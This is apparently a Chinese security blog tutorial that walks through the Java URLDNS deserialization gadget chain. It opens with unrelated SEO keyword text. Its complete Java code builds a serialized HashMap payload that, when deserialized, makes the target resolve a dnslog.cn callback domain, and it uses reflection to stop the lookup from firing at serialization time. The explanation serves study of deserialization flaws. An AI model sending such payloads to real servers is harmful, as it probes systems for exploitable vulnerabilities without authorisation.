建站公司怎么获客,三水网站建设企业,类似于拼多多的网站怎么做,网站内容改版文章目录 1、简介urldns链2、hashmap与url类的分析2.1、Hashmap类readObject方法的跟进2.2、URL类hashcode方法的跟进2.3、InetAddress类的getByName方法 3、整个链路的分析3.1、整理上述的思路3.2、一些疑问的测试3.3、hashmap的put方法分析3.4、反射3.5、整个代码 4、补充说明… 文章目录 1、简介urldns链2、hashmap与url类的分析2.1、Hashmap类readObject方法的跟进2.2、URL类hashcode方法的跟进2.3、InetAddress类的getByName方法 3、整个链路的分析3.1、整理上述的思路3.2、一些疑问的测试3.3、hashmap的put方法分析3.4、反射3.5、整个代码 4、补充说明 1、简介urldns链
URLDNS链是java原生态的一条利用链通常用于存在反序列化漏洞进行验证的因为是原生态不存在什么版本限制。HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。HashMap最早出现在JDK 1.2中底层基于散列算法实现。而正是因为在HashMap中Entry的存放位置是根据Key的Hash值来计算然后存放到数组中的。所以对于同一个Key在不同的JVM实现中计算得出的Hash值可能是不同的。因此HashMap实现了自己的writeObject和readObject方法。因为是研究反序列化问题所以我们来看一下它的readObject方法2、hashmap与url类的分析
2.1、Hashmap类readObject方法的跟进
新建一个文件写一个Hashmap跟进去找到Hashmap的readObject方法该方法会在Hashmap类反序列化的时候自动调用之前我们反序列化漏洞的demo代码就是重写这个类造成的继续向下有一个hash(key)方法先不管这个“key”跟进去看看hash方法的内容从这个参数定义可以知道这个key是一个对象当key不为空的情况下就会调用key这个对象的hashcode方法所以这个hashcode函数具体是哪个函数取决于传入哪个对象这里小结下先Hashmap.readObject -- HashMap.hash -- 传入对象得.hashCode2.2、URL类hashcode方法的跟进
继续新建一个url类跟进去也有一个hashcode方法看下内容当hashcode不等于 -1 的时候直接返回hashcode的值结束本函数跟一下hashcode变量发现其默认值为“-1”也就是默认情况下会继续向下执行不会直接返回hashcode的值这里比较重要敲黑板 我们继续看下855行的代码“hashCode(this)”看到这个“this”是一个url而359行的getHostAddress函数要去解析这个url继续跟进去看下这个主要就是调用了InetAddress类的getByName方法InetAddress类的getByName方法的作用是传入host解析IP返回ip传入ip则返回Ip这里继续小结下URL.hashcode -- URLStreamHandler.hashCode -- -- URLStreamHandler.getHostAddress -- InetAddress.getByName2.3、InetAddress类的getByName方法
我们来一个InetAddress类的getByName方法的demo当我们不传递域名而是直接传递IP呢看到是直接返回了IP继续传一个错误的IP会直接报错小结
传入域名会解析其对应的IP我们可以在dns的解析记录找到但是假设传入是IP则没有地方可以找到受害者的解析记录这里各位有看法欢迎补充代码
package com.example.demo2;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class main {public static void main(String[] args) throws Exception {try {InetAddress address InetAddress.getByName(www.baidu.com);System.out.println(IP地址 address.getHostAddress());} catch (UnknownHostException e) {e.printStackTrace();}
3、整个链路的分析
3.1、整理上述的思路
由上面总结就可以知道Hashmap类在反序列化的时候会调用传入对象的hashcode方法。而url类的hashcode方法会解析dns对应的IP所以整个链接就是Hashmap.readObject -- HashMap.hash ---- URL.hashcode传入对象 -- URLStreamHandler.hashCode ---- URLStreamHandler.getHostAddress -- InetAddress.getByName
由上面的结果推导出最常见的触发demo代码package com.example.demo2;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class dns_hashmap {public static void main(String[] args) throws MalformedURLException {HashMapURL,Integer hashmap new HashMap();URL url new URL(http://dd.l3eqkh.dnslog.cn/aa);System.out.println(url);System.out.println(url.getClass());hashmap.put(url,2);}}
根据上边的“2.3得”分析我们知道传入ip的话会直接返回ip不会请求传入域名的话会有一个请求域名解析对应IP的情况这个demo代码也测试了下情况和上边的一样这也有点多余本质上层也是调用的底层但是觉得还是有可能还是试了试3.2、一些疑问的测试
这里还一个疑问是10行的url是什么类型他的值是什么经过输出这个url是一个类其值就是一个“字符串”但是不能直接在put方法的第一个参数传入一个字符串原因在右边的图这个key的值是Object类型的Object是Java所有类的根类class java.net.URL可以说是其子类假设传入的url是一个字符串会直接报错这就不演示了3.3、hashmap的put方法分析
简单的跟一下就明白这个key就是上边的url类内容是定义url类构造方法定义的url到下图的339行就调用了url的hashcode方法进而会解析传入域名对应的ip3.4、反射
一个问题是我们在序列化的过程中会因为执行put方法进而去解析一边域名对应的ip这样后续的反序列化就不会再次触发解析请求了会直接读取序列化过程的缓存ps
其实不用反序列化下边的demo代码多次执行的化也仅仅在第一次有请求原因同上。代码 package com.example.demo2;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class dns_hashmap {public static void main(String[] args) throws IOException {HashMapURL,Integer hashmap new HashMap();URL url new URL(http://ee11.n5hfdu.dnslog.cn/aa);System.out.println(url);System.out.println(url.getClass());hashmap.put(url,2);Serialize(hashmap);}private static void Serialize(Object obj) throws IOException {ObjectOutputStream InputStream new ObjectOutputStream(new FileOutputStream(ser.txt));InputStream.writeObject(obj);InputStream.close();}}
为了不让java程序在序列化的过程去解析域名仅仅在反序列化的时候解析我们可以通过反射技术来实现。具体而言就是在上述“2.2”的分析中我们说“当hashcode不等于 -1 的时候直接返回hashcode的值”不会继续向下执行域名解析而hashcode默认又是-1所以可以通过反射给hashcode变量设置一个不为“-1”的任意值即可让代码在序列化的时候不继续执行域名的解析。
具体代码如下 HashMapURL,Integer hashmap new HashMap();URL url new URL(http://a.9v0wib.dnslog.cn);Class c url.getClass();、、获取URL类这里是根据已经实例化的url对象获取保存到c中。、、具体来说c是URL类的Class对象。Field fieldhashcodec.getDeclaredField(hashCode);、、获取url类中对应的hashcode函数保存到fieldhashcode中。、、具体来说fieldhashcode是一个Field对象它代表了URL类中名为hashCode的字段fieldhashcode.setAccessible(true);、、需要修改的hashcode变量是私有的默认不可访问设置Field对象的可访问性为true就可以修改了fieldhashcode.set(url,222); 、、将hashcode的值由默认的“-1”改为任意值这里是222、、这样第一次运行的时候就不会解析传入域名的ip了hashmap.put(url,2);、、正常需要触发的函数fieldhashcode.set(url,-1);、、在反序列化之前在次将上边修改的hashcode值恢复默认让其在反序列化时再次触发域名解析Serialize(hashmap);3.5、整个代码
先把24行的反序列化注释第一次运行就是序列化生成“ser.txt”文件此时不会产生dns记录再把12~22注释24行反序列化解开第二次运行反序列化执行解析域名产生记录package com.example.demo2;import java.io.*;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class dns_hashmap {public static void main(String[] args) throws Exception {HashMapURL,Integer hashmap new HashMap();URL url new URL(http://a.9v0wib.dnslog.cn);Class c url.getClass();Field fieldhashcodec.getDeclaredField(hashCode);fieldhashcode.setAccessible(true);fieldhashcode.set(url,222); //第一次查询的时候会进行缓存所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询Serialize(hashmap);// unserialize();}private static void Serialize(Object obj) throws IOException {ObjectOutputStream InputStream new ObjectOutputStream(new FileOutputStream(ser.txt));InputStream.writeObject(obj);InputStream.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois new ObjectInputStream(new FileInputStream(ser.txt));ois.readObject();ois.close();}}
4、补充说明
URLDNS是ysoserial中一个利用链的名字但准确来说这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令⽽仅为⼀个URL其能触发的结果也不是命令执⾏⽽是⼀次DNS请求。但是它有以下优点使用Java内置的类构造对第三方库没有依赖在目标没有回显的时候能够通过DNS来判断是否存在反序列化漏洞我们可以通过这条链很容易判断是否存在反序列化漏洞然后再去寻找可以命令执行的利用链